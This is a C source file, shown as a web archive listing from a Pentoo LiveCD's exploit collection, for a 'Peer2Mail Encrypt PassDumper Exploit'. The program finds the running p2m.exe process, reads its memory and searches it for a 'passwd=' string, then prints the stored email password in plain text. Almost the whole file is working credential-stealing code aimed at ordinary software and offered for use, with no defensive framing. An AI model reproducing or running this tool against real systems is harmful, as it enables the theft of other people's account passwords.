home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / p2p / peer2mail / peer2mail.c < prev   
Encoding:
C/C++ Source or Header  |  2005-03-05  |  3.6 KB  |  137 lines
  1. /*
  2. * Peer2Mail Encrypt PassDumper Exploit  v1.0
  3. * Discoveried & Coded By ATmaCA
  4. * Copyright ⌐2002-2005 AtmacaSoft Inc. All Rights Reserved.
  5. * Web: http://www.atmacasoft.com
  6. * E-Mail: atmaca@icqmail.com
  7. */
  8.  
  9. /*
  10. * Peer2Mail 1.4 and prior versions are affected.
  11. * Tested for gmail account on Win XP SP2
  12. */
  13.  
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <windows.h>
  17. #include <tlhelp32.h>
  18.  
  19. void Credits(void);
  20. DWORD GetPid(char ProcessName[200]);
  21. int PutUserPassword(DWORD pid);
  22.  
  23. int main(void)
  24. {
  25.    char TargetProcess[80];
  26.    DWORD pid;
  27.  
  28.    Credits();  //print the credits to the screen
  29.  
  30.    pid=GetPid("p2m.exe"); //Get the PID of the target process
  31.    if(pid==0)
  32.    {
  33.         printf("Error: Getting pid from %s",TargetProcess);
  34.         return EXIT_FAILURE;
  35.    }
  36.  
  37.    if(PutUserPassword(pid)!=0) //if we can not get the password
  38.         return EXIT_FAILURE;
  39.  
  40.    return EXIT_SUCCESS;
  41.  
  42. }
  43. void Credits()   //the function that prints the credits to the screen
  44. {
  45.      printf("Peer2Mail Encrypt PassDumper Exploit  v1.0\n");
  46.      printf("Discoveried & Coded By [ATmaCA]\n");
  47.      printf("Copyright ⌐2002-2005 AtmacaSoft Inc. All Rights Reserved.\n");
  48.      printf("Web: http://www.atmacasoft.com\n");
  49.      printf("E-Mail: atmaca@icqmail.com\n\n");
  50. }
  51.  
  52. DWORD GetPid(char ProcessName[200]) //gets the process-id from the processname
  53. {
  54.        DWORD pid;
  55.        HANDLE Snap;
  56.        PROCESSENTRY32 proc32;
  57.        char CapProcessName[200];
  58.  
  59.        strcpy(CapProcessName,CharLower(ProcessName));
  60.  
  61.        Snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);  //Create a snapshot of all current running processes
  62.        if(Snap==INVALID_HANDLE_VALUE)
  63.        {
  64.            printf("Error creating snapshot of current processes.");
  65.  
  66.            return 0;
  67.        }
  68.  
  69.        proc32.dwSize=sizeof(PROCESSENTRY32);
  70.        while((Process32Next(Snap,&proc32))==TRUE)  //Get the process-id from p2m.exe
  71.        {
  72.              if(strcmp(CharLower(proc32.szExeFile),CharLower(ProcessName))==0||strcmp(CharLower(proc32.szExeFile),CharLower(CapProcessName))==0)
  73.                     break;
  74.  
  75.        }
  76.        pid=proc32.th32ProcessID;
  77.        CloseHandle(Snap);
  78.        return pid;
  79. }
  80.  
  81. int PutUserPassword(DWORD pid)
  82. {
  83.    #define BUFSIZE 500000
  84.  
  85.    HANDLE hProc;
  86.    DWORD total;
  87.    long int base;
  88.    char buf[BUFSIZE];
  89.    char pass[BUFSIZE];
  90.    int i=0,j,k;
  91.  
  92.        //open the process
  93.        hProc=OpenProcess(PROCESS_VM_READ,FALSE,pid);
  94.        if(hProc==NULL)
  95.        {
  96.            printf("Error: opening process.");
  97.            printf("\nPerhaps this account is too limited..");
  98.            return 1;
  99.        }
  100.  
  101.        //
  102.        // The Base Memory Address To Search;
  103.        // The Password May Be Located Before The Address Or Far More From This Address,
  104.        // Which Causes The Result Unreliable
  105.        //
  106.        base=0x01320000;
  107.  
  108.        //try to read the memory of p2m.exe
  109.        while(ReadProcessMemory(hProc,(PVOID)base,buf,BUFSIZE,&total)!=0)
  110.        {
  111.            for(i=0;i<BUFSIZE;i++)
  112.            {
  113.                if(buf[i]=='p'&&buf[i+1]=='a'&&buf[i+2]=='s'&&buf[i+3]=='s'&&buf[i+4]=='w'&&buf[i+5]=='d'&&buf[i+6]=='=')
  114.                {
  115.                    j=0;
  116.                    for(k=i+7;k<BUFSIZE;k++)
  117.                    {
  118.                        if(buf[k]=='&')//check if we've reached the end of the password
  119.                        {
  120.                             pass[j]=NULL;
  121.                             goto gotit;
  122.                        }
  123.                        pass[j]=buf[k];
  124.                        j++;
  125.                    }
  126.                    break;
  127.                }
  128.            }
  129.            base+=BUFSIZE;
  130.        }
  131.        gotit:
  132.        printf("Password: %s",pass);
  133.        CloseHandle(hProc);
  134.        return 0;
  135. }
  136.  
  137.